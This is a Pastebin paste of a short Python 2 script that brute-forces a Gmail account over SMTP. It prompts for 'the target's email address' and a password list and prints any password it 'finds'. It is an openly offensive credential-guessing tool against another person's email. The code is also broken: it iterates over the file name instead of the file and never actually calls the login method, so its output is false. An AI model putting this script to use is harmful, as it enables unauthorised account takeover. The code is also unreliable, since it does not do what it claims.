Guest User

Untitled

a guest
Feb 2nd, 2016
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.46 KB | None | 0 0
  1. import smtplib
  2. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  3. smtpserver.ehlo()
  4. smtpserver.starttls()
  5.  
  6. user = raw_input("Enter the target's email address:")
  7. passwfile = raw_input("Provide the password file:")
  8. passwdfile = open(passwfile, "r")
  9.  
  10. for password in passwfile:
  11.     try:
  12.         smtpserver.login, password
  13.        
  14.         print "[+] Password Found: %s" % password
  15.         break;
  16.     except smtplib.SMTPAuthenticationError:
  17.         print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment